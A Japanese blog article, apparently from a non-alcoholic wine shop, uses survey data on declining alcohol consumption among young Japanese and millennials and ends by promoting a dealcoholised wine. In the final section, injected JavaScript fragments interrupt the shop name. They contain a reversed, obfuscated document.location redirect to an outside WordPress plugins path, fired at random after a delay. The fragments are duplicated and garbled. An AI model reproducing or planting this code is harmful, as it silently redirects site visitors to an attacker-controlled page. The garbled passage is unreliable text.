時代はノンアルコールワイン?!若者のお酒離れってホント?
最近「最近若い人がお酒を飲まなくなった」という話をよく耳にしませんか?
MELLOWをご覧になっている読者の皆さんは、元々ワインが大好きなのに、妊娠や健康面の問題など様々な理由から、ノンアルコールワインを選ばれている方が多いと思いますので、こういう話を聞くとビックリされるのではないでしょうか?
今回は、この「若者がお酒を飲まなくなった説」について、データを見ながら検証してみましょう。
◇お酒の売り上げが落ちている!その原因は?
国税庁の調査によると、酒類の国内出荷数量は平成11年(1999年)をピークに徐々に減少しており、平成29年(2017年)ではピーク時の約9割程度となりました。
その原因と考えられる事柄は大きく2つあります。
・高齢化の進行=お酒を飲まない人口の増加
お酒の売り上げの低下の原因の一つが、社会の高齢化の進行と考えられています。
厚生省の国民健康・栄養調査によると、飲酒習慣のある人(※注)の割合は、20代から50代にかけて上昇しますが、およそ60歳代(女性では50歳代、男性では60歳代)を境に減少に向かいます。
平成元年に人口の23.2%だった60歳以上の人口は、平成29年には40.9%と2倍弱に増加。
お酒を飲まなくなる60歳以上の世代の増加が、お酒の消費量が減少に向かう原因の一つになっているようです。
※注 飲酒習慣のある人の定義は、週3日以上、清酒に換算し1日1合以上飲酒する者としています。
・若者世代、中年世代の男性がお酒を飲まなくなった
そして、お酒の売り上げが落ちている原因としてもう一つ注目すべきなのは、飲酒習慣のある人の割合が減少傾向に向かっていることです。
図2は、アルコールの販売量がピークだった平成8年(1996年)と、平成29年(2017年)における飲酒習慣のある人の割合の比較です。
これによると、平成29年では、飲酒習慣のある人は男性では全年代で減少していることが分かります。また、特に30代~40代にかけての働き盛りの若者・中年世代でその減少が大きくなっています。
飲酒量が多い男性たちの働き盛り世代で飲酒習慣を持つ人が減っていることが、アルコールの消費量の減少のもう一つの原因となっていると考えられます。
また、中高年世代では、女性はむしろ飲酒習慣を持つ人が増えているのが特徴的です。
これについては、女性の社会進出に伴い飲酒の機会が増えたり、缶チューハイやリキュール類など女性好みのアルコール飲料が多く発売されて、女性の手に取りやすくなったこととも関係していると言われています。
それに対し、20代・30代の若い世代に注目すると、男女ともに飲酒習慣をもつ人が減少しています。
ここから、若い世代ほど飲まない傾向が顕著になっていることが分かりますね。
◇世界的に若い人がお酒を飲まなくなっている
ここで、20代の若者の飲酒頻度の変化について、平成21年度(2009年)と平成29年度(2017年)の数値を比較してみましょう。
平成21年度から29年度にかけて、週1日以上飲酒する定期的な飲酒習慣がある若者たちでは大きな変動はないものの、月に1~3日という飲酒頻度の低い若者ほど頻度の低下がみられます。そして、平成29年度では、なんと20代男性の約半数、20代女性の60%以上が、ほとんど飲まないと回答しています。
お酒を飲む習慣のある若者と、ほとんど飲まない若者の二極化が進み、しかも飲まない若者の数が増加していっていることが分かりますね。
このような、飲まない若い人が増えている傾向は、最近全世界的に高まっていると言われています。
例えば、欧米諸国の中でも飲まない若者の増加という点で進んでいるといわれるイギリスでの調査によると、2005年と2015年に16~24歳の若者に対して行われた調査では、お酒を飲む習慣がないと答えた若者は2005年で18%でしたが、2015年には29%に増加しました。
また、飲みすぎる傾向(一度の飲酒で、適切な1日の飲酒量の2倍以上のアルコールを摂取すること)があると答えた若者の割合も、2005年の27%から、2015年には18%に低下しており、これらの結果から、アルコールを飲まない若者が増え、またその飲み方もライトな方向に変わりつつあることが分かります。
◇飲まない傾向をリードするミレニアル世代とは?
このような近年の若い人たちが飲まなくなっている傾向をリードしているのが、ミレニアルと呼ばれる世代といわれています。
ミレニアル世代は、1981年から1996年生まれの、2020年現在で20~40歳の年齢層にあたる人々。
ちょうど上の図2の、平成29年度の20代から30代にかけての世代がほぼミレニアル世代に重なりますが、ミレニアル達がもつ世代的な特徴が、お酒離れの傾向の原因になっているのではといわれています。
ミレニアル世代の特徴として一番にあげられるのは、デジタルネイティブ世代であること。
日本で初めてインターネットが登場したのは1984年ですが、ミレニアル世代は物心ついた時からパソコン・スマホやインターネットと共に成長してきたデジタル世代で、SNSなどを通じてコミュニケーションを取ることに慣れ親しんでいる世代です。
この傾向が、飲み会などでの円滑なコミュニケーションのためお酒を飲もうという欲求を低下させているのではないかと考えられています。
また、インターネットを通じて、様々な考え方や個性を持つ人達がいることに慣れているミレニアル達は、多様な価値観を当たり前のことと受け入れる傾向があります。
大勢で飲みに行っても「とりあえずビール」ではなく、自分の好きなものを好きなように飲む個人主義の傾向が高まってきていることが、飲酒スタイルの多様化や、飲まない流れにつながってきているようです。
◇ノンアルコールワインはミレニアル世代におすすめ
また、健康意識が高いのもミレニアル世代の特徴といわれています。
無添加やオーガニックの食品を積極的に購入し、筋トレやヨガやフィットネスにハマる傾向が強いミレニアル達は、アルコールが体に与える悪い影響にも敏感です。
そのため、飲酒を避ける傾向にあることが、若い世代が飲まなくなっている一因になっているのではと考えられています。
そんなミレニアル世代におすすめなのが、ノンアルコールワイン。
Mellow Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreで販売中のネオブリュ社のノンアルコールワインは、本物のワインを低温・低圧で蒸留することで、ワインらしい香りや風味を守りながら、0.0%までアルコールを除去しました。
これなら、ワインらしさを楽しみながら、二日酔いや健康面での悪影響の心配はゼロ。
アルコールを含まないためカロリーも低いので、健康志向が強く、ダイエットやエクササイズにいそしむミレニアル達にはぴったりの品です。
また、飲みたいけれど翌日にお酒を残したくない時や、ランチだけれどお酒気分を味わいたい時など、アイディア次第でさまざまなシチュエーションで思う存分楽しんでいただけますよ!
ミレニアル世代の方はもちろん、そうでない世代の方も、メリット一杯でかつ美味しいノンアルコールワインを是非試してみてくださいね!